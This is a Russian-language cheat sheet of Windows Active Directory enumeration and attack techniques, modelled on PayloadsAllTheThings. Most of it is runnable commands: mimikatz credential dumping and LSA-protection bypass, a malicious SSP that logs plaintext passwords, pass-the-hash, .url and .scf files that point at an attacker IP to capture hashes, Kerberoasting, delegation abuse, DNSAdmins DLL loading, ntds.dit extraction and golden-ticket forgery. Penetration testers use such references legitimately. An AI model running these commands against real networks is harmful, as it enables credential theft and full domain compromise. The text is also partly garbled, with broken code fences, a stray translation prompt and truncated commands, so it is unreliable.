
Шпаргалка с общими методами перечисления и атак для Windows Active Directory.
Эта шпаргалка содержит распространенные методы перечисления и атак для Windows Active Directory.
ℹ️ Этот репозиторий создан Никосом Кациописом и Никосом Вурдасом.
Эта шпаргалка вдохновлена репозиторием PayloadAllTheThings.

Powerview v.3.0
Powerview Wiki
Получить текущий домен: Get-Domain
Перечислить другие домены: Get-Domain -Domain <DomainName>
Получить SID домена: Get-DomainSID
Получить политику домена: ```powershell Get-DomainPolicy
#Will show us the policy configurations of the Domain about system access or kerberos Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
Получить контроллеры доменов: ```powershell Get-DomainController Get-DomainController -Domain
Перечислить пользователей домена: ```powershell #Save all Domain Users to a file Get-DomainUser | Out-File -FilePath .\DomainUsers.txt
#Will return specific properties of a specific user Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List
#Enumerate user logged on a machine Get-NetLoggedon -ComputerName
#Enumerate Session Information for a machine Get-NetSession -ComputerName
#Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName
Перечисление компьютеров домена: ```powershell Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
#Enumerate Live machines Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
❗ Повышение привилегий до Domain Admin через охоту за пользователями:
У меня есть локальный административный доступ к машине -> У Domain Admin есть сессия на этой машине -> Я краду его токен и выдаю себя за него -> Прибыль!
Получить текущий домен: Get-ADDomain
Перечислить другие домены: Get-ADDomain -Identity <Domain>
Получить SID домена: Get-DomainSID
Получить контроллеры домена: ```powershell Get-ADDomainController Get-ADDomainController -Identity
Перечислить Domain Users: ```powershell Get-ADUser -Filter * -Identity -Properties *
#Get a specific "string" on a user's attribute Get-ADUser -Filter 'Description -like "wtver"' -Properties Description | select Name, Description
Перечисление компьютеров домена: ```powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter *
Перечисление доверительных отношений домена: ```powershell Get-ADTrust -Filter * Get-ADTrust -Identity
Enum Forest Trust: ```powershell Get-ADForest Get-ADForest -Identity
#Domains of Forest Enumeration (Get-ADForest).Domains
Перечисление локальной эффективной политики AppLocker: ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Репозиторий Python BloodHound или установите его с помощью `pip3 install bloodhound````powershell bloodhound-python -u -p -ns <Domain Controller's Ip> -d -c All
#### Локальный BloodHound```powershell
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>
#Using PowerShell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>
./adalanche collect activedirectory --domain
--username Username@Domain --password
--server
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
--authmode basic
./adalanche analyze
#### Export Enumerated Objects
Вы можете экспортировать перечисленные объекты из любого модуля/cmdlet в XML-файл для последующего анализа.
Командлет `Export-Clixml` создает представление объекта или объектов на основе XML в формате Common Language Infrastructure (CLI) и сохраняет его в файл. Затем вы можете использовать командлет `Import-Clixml` для воссоздания сохраненного объекта на основе содержимого этого файла.```powershell
# Export Domain users to xml file.
Get-DomainUser | Export-CliXml .\DomainUsers.xml
# Later, when you want to utilise them for analysis even on any other machine.
$DomainUsers = Import-CliXml .\DomainUsers.xml
# You can now apply any condition, filters, etc.
$DomainUsers | select name
$DomainUsers | ? {$_.name -match "User's Name"}
Windows Local Privilege Escalation Cookbook Сборник методов повышения локальных привилегий в Windows
Juicy Potato Злоупотребление привилегиями SeImpersonate или SeAssignPrimaryToken для имитации системы
⚠️ Работает только до Windows Server 2016 и Windows 10 до обновления 1803
Lovely Potato Автоматизированный Juicy Potato
⚠️ Работает только до Windows Server 2016 и Windows 10 до обновления 1803
PrintSpoofer Эксплуатация PrinterBug для имитации системы
🙏 Работает на Windows Server 2019 и Windows 10
RoguePotato Улучшенный Juicy Potato
🙏 Работает на Windows Server 2019 и Windows 10
Abusing Token Privileges Злоупотребление привилегиями токенов для повышения локальных привилегий в Windows
#Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting
#Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions
### Удаленное выполнение кода с использованием PS Credentials```powershell
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}
#Execute the command and start a session Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess
#Interact with the session Enter-PSSession -Session $sess
### Выполнение удаленных команд с сохранением состояния```powershell
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>
#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}
#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}
#The commands are in cobalt strike format!
#Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords
#(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user: /ntlm:<> /domain:
#List all available kerberos tickets in memory mimikatz sekurlsa::tickets
#Dump local Terminal Services credentials mimikatz sekurlsa::tspkg
#Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp
#List cached MasterKeys mimikatz sekurlsa::dpapi
#List local Kerberos AES Keys mimikatz sekurlsa::ekeys
#Dump SAM Database mimikatz lsadump::sam
#Dump SECRETS Database mimikatz lsadump::secrets
#Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject
#Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain: /all
#Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:<user> /history
#List and Dump local kerberos credentials mimikatz kerberos::list /dump
#Pass The Ticket mimikatz kerberos::ptt
#List TS/RDP sessions mimikatz ts::sessions
#List Vault credentials mimikatz vault::list
:exclamation: Что если mimikatz не может извлечь учетные данные из-за защиты LSA?
- LSA как защищенный процесс (обход уровня ядра) ```powershell
#Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
#Now lets import the mimidriver.sys to the system
mimikatz # !+
#Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove
#Finally run the logonpasswords function to dump lsass
mimikatz # sekurlsa::logonpasswords
LSA как защищенный процесс (пространство пользователя "бесфайловый" обход)
LSA запущен как виртуализированный процесс (LSAISO) с помощью Credential Guard ```powershell #Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso
#If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data. #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides mimikatz # misc::memssp
#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
Если хост, к которому мы хотим выполнить латеральное перемещение, включил "RestrictedAdmin", мы можем передать хеш с помощью протокола RDP и получить интерактивный сеанс без пароля в открытом виде.
Mimikatz: ```powershell #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"
#Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated
xFreeRDP:```powershell xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v:<Hostname | IPAddress>
:⚠️ Если на удаленной машине отключен режим Restricted Admin, мы можем подключиться к хосту с помощью другого инструмента/протокола, например psexec или winrm, и включить его, создав следующий раздел реестра и установив его значение в ноль: "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".
- Обход ограничения "Single Session per User"
На компьютере в домене, если у вас есть возможность выполнять команды от имени системы или локального администратора и вам нужен сеанс RDP, который уже использует другой пользователь, вы можете обойти ограничение на один сеанс, добавив следующий раздел реестра:```powershell
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0
После того как вы выполните нужные действия, вы можете удалить ключ, чтобы восстановить ограничение одного сеанса на пользователя.```powershell REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse
### Атаки на файлы URL
- файл .url ```
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\<AttackersIp>\%USERNAME%.icon
IconIndex=1
Please provide the Markdown content to translate. ``` [InternetShortcut] URL=file:///leak/leak.html
- .scf файл ```
[Shell]
Command=2
IconFile=\\<AttackersIp>\Share\test.ico
[Taskbar]
Command=ToggleDesktop
Поместив эти файлы в доступную для записи общую папку, жертве нужно только открыть проводник и перейти к этой папке. Примечание: файл не нужно открывать или взаимодействовать с ним, но он должен быть в корне файловой системы или просто виден в окне проводника Windows, чтобы быть отрисованным. Используйте responder для захвата хешей.
❗ Атаки с помощью файлов .scf не работают на последних версиях Windows.
ЧТО ЭТО?:
Все стандартные пользователи домена могут запросить копию всех сервисных учетных записей вместе с соответствующими хешами паролей, так что мы можем запросить TGS для любого SPN, привязанного к учетной записи 'пользователя', извлечь зашифрованный блоб, который был зашифрован с использованием пароля пользователя, и перебрать его офлайн.
PowerView: ```powershell #Get User Accounts that are used as Service Accounts Get-NetUser -SPN
#Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast
#Requesting the TGS for a single account: Request-SPNTicket
#Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'
AD Module: ```powershell #Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Impacket: ```powershell python GetUserSPNs.py /: -outputfile
Rubeus: ```powershell #Kerberoasting and outputing on a file with a specific format Rubeus.exe kerberoast /outfile: /domain:
#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /rc4opsec
#Kerberoast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /aes
#Kerberoast specific user account Rubeus.exe kerberoast /outfile: /domain: /user: /simple
#Kerberoast by specifying the authentication credentials Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:
ЧТО ЭТО ТАКОЕ?:
Если учетная запись пользователя домена не требует предварительной аутентификации Kerberos, мы можем запросить действительный TGT для этой учетной записи, даже не имея учетных данных домена, извлечь зашифрованный
блоб и подобрать его офлайн.
Get-DomainUser -PreauthNotRequired -VerboseGet-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuthПринудительно отключить предварительную аутентификацию Kerberos для учетной записи, к которой у меня есть права на запись или выше! Проверить интересные разрешения для учетных записей:
Подсказка: Мы добавляем фильтр, например, RDPUsers, чтобы получить "учетные записи пользователей", а не учетные записи компьютеров, потому что хэши учетных записей компьютеров не поддаются взлому!
PowerView:```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose
- И, наконец, выполните атаку с помощью инструмента [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast). ```powershell
#Get a specific Accounts hash:
Get-ASREPHash -UserName <UserName> -Verbose
#Get any ASREPRoastable Users hashes:
Invoke-ASREPRoast -Verbose
Использование Rubeus: ```powershell #Trying the attack for all domain users Rubeus.exe asreproast /format:<hashcat|john> /domain: /outfile:
#ASREPRoast specific user Rubeus.exe asreproast /user: /format:<hashcat|john> /domain: /outfile:
#ASREPRoast users of a specific OU (Organization Unit) Rubeus.exe asreproast /ou: /format:<hashcat|john> /domain: /outfile:
Использование Impacket: ```powershell #Trying the attack for the specified users on the file python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile
Если мы получили несколько паролей, скомпрометировав учетную запись пользователя, мы можем использовать этот метод для попытки эксплуатации повторного использования паролей на других учетных записях домена.
Инструменты:
ЧТО ЭТО?: Если у нас есть достаточные разрешения -> GenericAll/GenericWrite, мы можем установить SPN на целевой учетной записи, запросить TGS, затем получить его BLOB и перебрать его.
PowerView: ```powershell #Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
#Check if current user has already an SPN setted: Get-DomainUser -Identity | select serviceprincipalname
#Force set the SPN on the account: Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}
AD Модуль: ```powershell #Check if current user has already an SPN setted Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName
#Force set the SPN on the account: Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}
Наконец, используйте любой инструмент из предыдущих, чтобы получить хэш и выполнить kerberoast!
Если у вас есть локальный доступ администратора к машине, попробуйте вывести список теневых копий — это простой способ повышения привилегий в домене (Domain Escalation).```powershell #List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows
#List shadow copies using diskshadow diskshadow list shadows all
#Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
1. Вы можете выгрузить резервную копию базы данных SAM и извлечь учетные данные.
2. Найдите учетные данные, хранящиеся в DPAPI, и расшифруйте их.
3. Получите доступ к резервным копиям конфиденциальных файлов.
### Список и расшифровка сохраненных учетных данных с помощью Mimikatz
Обычно зашифрованные учетные данные хранятся в:
- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials````powershell
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"
#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc
#We now have the masterkey in our local cache:
dpapi::cache
#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
Detailed Article: DPAPI all the things
ЧТО ЭТО ТАКОЕ?: Если у нас есть административный доступ к машине с включенной неограниченной делегацией, мы можем ждать, пока к ней подключится высокоприоритетная цель или администратор домена, украсть его TGT, затем выполнить ptt и выдать себя за него!
Использование PowerView:```powershell #Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained
#List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"'
#Command to monitor any incoming sessions on our compromised server Invoke-UserHunter -ComputerName -Poll -UserName -Delay -Verbose
#Dump the tickets to disk: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
#Impersonate the user using ptt attack: Invoke-Mimikatz -Command '"kerberos::ptt "'
**Примечание:** Мы также можем использовать Rubeus!
### Constrained Delegation
Используя PowerView и Kekeo:```powershell
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>
#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>
#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'
АЛЬТЕРНАТИВА: Использование Rubeus:```powershell Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt
Теперь мы можем получить доступ к службе как олицетворённый пользователь!
:triangular_flag_on_post: **Что если у нас есть права делегирования только для конкретного SPN? (например, TIME):**
В этом случае мы всё ещё можем злоупотребить функцией Kerberos, называемой «альтернативная служба». Это позволяет нам запрашивать билеты TGS для других «альтернативных» служб, а не только для той, на которую у нас есть права. Это даёт нам возможность запрашивать действительные билеты для любой службы, которую поддерживает хост, предоставляя полный доступ к целевой машине.
### Делегирование на основе ресурсов с ограничениями
_ЧТО ЭТО?: \
Кратко: \
Если у нас есть привилегии GenericALL/GenericWrite на объекте учётной записи компьютера домена, мы можем злоупотребить ими и олицетворить себя как любого пользователя домена для этого компьютера. Например, мы можем олицетворить администратора домена и получить полный доступ._
Инструменты, которые мы будем использовать:
- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)
Сначала нам нужно войти в контекст безопасности учётной записи пользователя/компьютера, имеющей привилегии над объектом.
Если это учётная запись пользователя, мы можем использовать Pass the Hash, RDP, PSCredentials и т.д.
Пример эксплуатации:```powershell
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid
#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'
#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt
#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$
Подробные статьи:
❗ В случае делегирования с ограничениями и делегирования на основе ресурсов, если у нас нет пароля/хэша учетной записи с TRUSTED_TO_AUTH_FOR_DELEGATION, которой мы пытаемся злоупотребить, мы можем использовать очень хороший трюк «tgt::deleg» из kekeo или «tgtdeleg» из rubeus и обмануть Kerberos, чтобы он выдал нам действительный TGT для этой учетной записи. Затем мы просто используем билет вместо хэша учетной записи для выполнения атаки.```powershell #Command on Rubeus Rubeus.exe tgtdeleg /nowrap
Detailed Article:
[Rubeus – Now With More Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)
### Злоупотребление DNSAdmins
_ЧТО ЭТО ТАКОЕ?: Если пользователь является членом группы DNSAdmins, он может загрузить произвольную DLL с привилегиями процесса dns.exe, работающего от имени SYSTEM. Если DC выступает в роли DNS-сервера, пользователь может повысить свои привилегии до DA. Для срабатывания этой эксплуатации требуются привилегии на перезапуск службы DNS._
1. Перечислите участников группы DNSAdmins:
- PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"`
- Модуль AD: `Get-ADGroupMember -Identiny DNSAdmins`
2. После того как мы нашли члена этой группы, необходимо его скомпрометировать (способов много).
3. Затем, разместив вредоносную DLL на SMB-ресурсе и настроив использование этой DLL, мы можем повысить свои привилегии: ```powershell
#Using dnscmd:
dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll
#Restart the DNS Service:
sc \\DNSServer stop dns
sc \\DNSServer start dns
WUT IS DIS ?: Если нам удастся скомпрометировать учётную запись пользователя, входящего в группу Backup Operators, мы можем воспользоваться её привилегией SeBackupPrivilege, чтобы создать теневую копию текущего состояния DC, извлечь файл базы данных ntds.dit, слить хэши и повысить наши привилегии до DA.
После того, как мы получили доступ к учётной записи, имеющей SeBackupPrivilege, мы можем обратиться к DC и создать теневую копию с помощью подписанной утилиты diskshadow: ```powershell #Create a .txt file that will contain the shadow copy process script Script ->{ set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive
create
expose %mydrive% w: end backup }
#Execute diskshadow with our script as parameter diskshadow /s script.txt
Далее нам нужно получить доступ к теневой копии, у нас может быть привилегия SeBackupPrivilege, но мы не можем просто скопировать-вставить ntds.dit, нам нужно имитировать работу резервного программного обеспечения и использовать вызовы Win32 API, чтобы скопировать его в доступную папку. Для этого мы будем использовать этот замечательный репозиторий: ```powershell #Importing both dlls from the repo using powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll
#Checking if the SeBackupPrivilege is enabled Get-SeBackupPrivilege
#If it isn't we enable it Set-SeBackupPrivilege
#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:<PathToSave>\ntds.dit -Overwrite
#Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive
Используя smbclient.py из impacket или другой инструмент, копируем ntds.dit и куст SYSTEM на нашу локальную машину.
Используем secretsdump.py из impacket и извлекаем хеши.
Используем psexec или другой инструмент на ваш выбор для PTH и получаем доступ администратора домена.
ЧТО ЭТО?: Если нам удастся скомпрометировать дочерний домен леса и фильтрация SID не включена (в большинстве случаев она не включена), мы можем злоупотребить этим для повышения привилегий до администратора домена корневого домена леса. Это возможно из-за поля SID History в билете Kerberos TGT, которое определяет «дополнительные» группы безопасности и привилегии.
Пример эксплуатации:```powershell #Get the SID of the Current Domain using PowerView Get-DomainSID -Domain current.root.domain.local
#Get the SID of the Root Domain using PowerView Get-DomainSID -Domain root.domain.local
#Create the Enteprise Admins SID Format: RootDomainSID-519
#Forge "Extra" Golden Ticket using mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi
#Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi
#List the DC of the Root Domain dir \dc.root.domain.local\C$
#Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all
Detailed Articles:
- [Kerberos Golden Tickets теперь более золотые](https://adsecurity.org/?p=1640)
- [Руководство по атаке на доверия доменов](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
### Эксплуатация SharePoint
- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) Эксплуатация RCE \
[PoC](https://github.com/k8gege/CVE-2019-0604)
- [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) Выполнение кода через десериализацию BDC
- [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) RCE с использованием typeconverters \
[PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)
### Zerologon
- [Zerologon: неавторизованная компрометация контроллера домена](https://www.secura.com/whitepapers/zerologon-whitepaper): Белая книга уязвимости.
- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon): Реализация эксплойта Zerologon на C#.
- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon): Реализация эксплойта Zerologon на PowerShell.
- [Zer0Dump](https://github.com/bb00/zer0dump): Реализация эксплойта Zerologon на Python с использованием библиотеки impacket.
### PrintNightmare
- [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527): Детали уязвимости.
- [Реализация PrintNightmare с использованием impacket](https://github.com/cube0x0/CVE-2021-1675): Надежный PoC PrintNightmare с использованием библиотеки impacket.
- [Реализация CVE-2021-1675 на C#](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare): Надежный PoC PrintNightmare, написанный на C#.
### Службы сертификации Active Directory
**Проверка уязвимых шаблонов сертификатов с помощью:** [Certify](https://github.com/GhostPack/Certify)
_Примечание: Certify также можно выполнить с помощью команды `execute-assembly` Cobalt Strike_```powershell
.\Certify.exe find /vulnerable /quiet
Убедитесь, что значение msPKI-Certificates-Name-Flag установлено в "ENROLLEE_SUPPLIES_SUBJECT", а права на регистрацию (Enrollment Rights) разрешают Domain/Authenticated Users. Кроме того, проверьте, что параметр pkiextendedkeyusage содержит значение "Client Authentication", а параметр "Authorized Signatures Required" установлен в 0.
Эта эксплойт работает только потому, что данные настройки разрешают серверную/клиентскую аутентификацию, что позволяет атакующему указать UPN администратора домена ("DA") и использовать полученный сертификат с помощью Rubeus для подделки аутентификации.
Примечание: Если администратор домена находится в группе Protected Users, эксплойт может не сработать должным образом. Проверьте это перед выбором цели DA.
Запросите сертификат учётной записи DA с помощью Certify```powershell .\Certify.exe request /template:
Перечисление групп и участников групп: ```powershell #Save all Domain Groups to a file: Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt
#Return members of Specific Group (eg. Domain Admins & Enterprise Admins) Get-DomainGroup -Identity '' | Select-Object -ExpandProperty Member Get-DomainGroupMember -Identity '' | Select-Object MemberDistinguishedName
#Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine Get-NetLocalGroup | Select-Object GroupName
#Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain
#Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
Перечисление общих ресурсов: ```powershell #Enumerate Domain Shares Find-DomainShare
#Enumerate Domain Shares the current user has access Find-DomainShare -CheckShareAccess
#Enumerate "Interesting" Files on accessible shares Find-InterestingDomainShareFile -Include passwords
Перечисление групповых политик: ```powershell Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName
#Enumerate all GPOs to a specific computer Get-DomainGPO -ComputerIdentity -Properties DisplayName | Sort-Object -Property DisplayName
#Get users that are part of a Machine's local Admin group Get-DomainGPOComputerLocalGroupMapping -ComputerName
Перечисление OUs: ```powershell Get-DomainOU -Properties Name | Sort-Object -Property Name
Перечисление ACL: ```powershell
Get-DomainObjectAcl -Identity -ResolveGUIDs
#Search for interesting ACEs Find-InterestingDomainAcl -ResolveGUIDs
#Check the ACLs associated with a specified path (e.g smb share) Get-PathAcl -Path "\Path\Of\A\Share"
Enum Domain Trust: ```powershell Get-DomainTrust Get-DomainTrust -Domain
#Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds Get-DomainTrustMapping
Enum Forest Trust: ```powershell Get-ForestDomain Get-ForestDomain -Forest
#Map the Trust of the Forest Get-ForestTrust Get-ForestTrust -Forest
Охота на пользователей: ```powershell #Finds all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose
#Find local admins on all machines of the domain Find-DomainLocalGroupMember -Verbose
#Find computers were a Domain Admin OR a specified user has a session Find-DomainUserLocation | Select-Object UserName, SessionFromName
#Confirming admin access Test-AdminAccess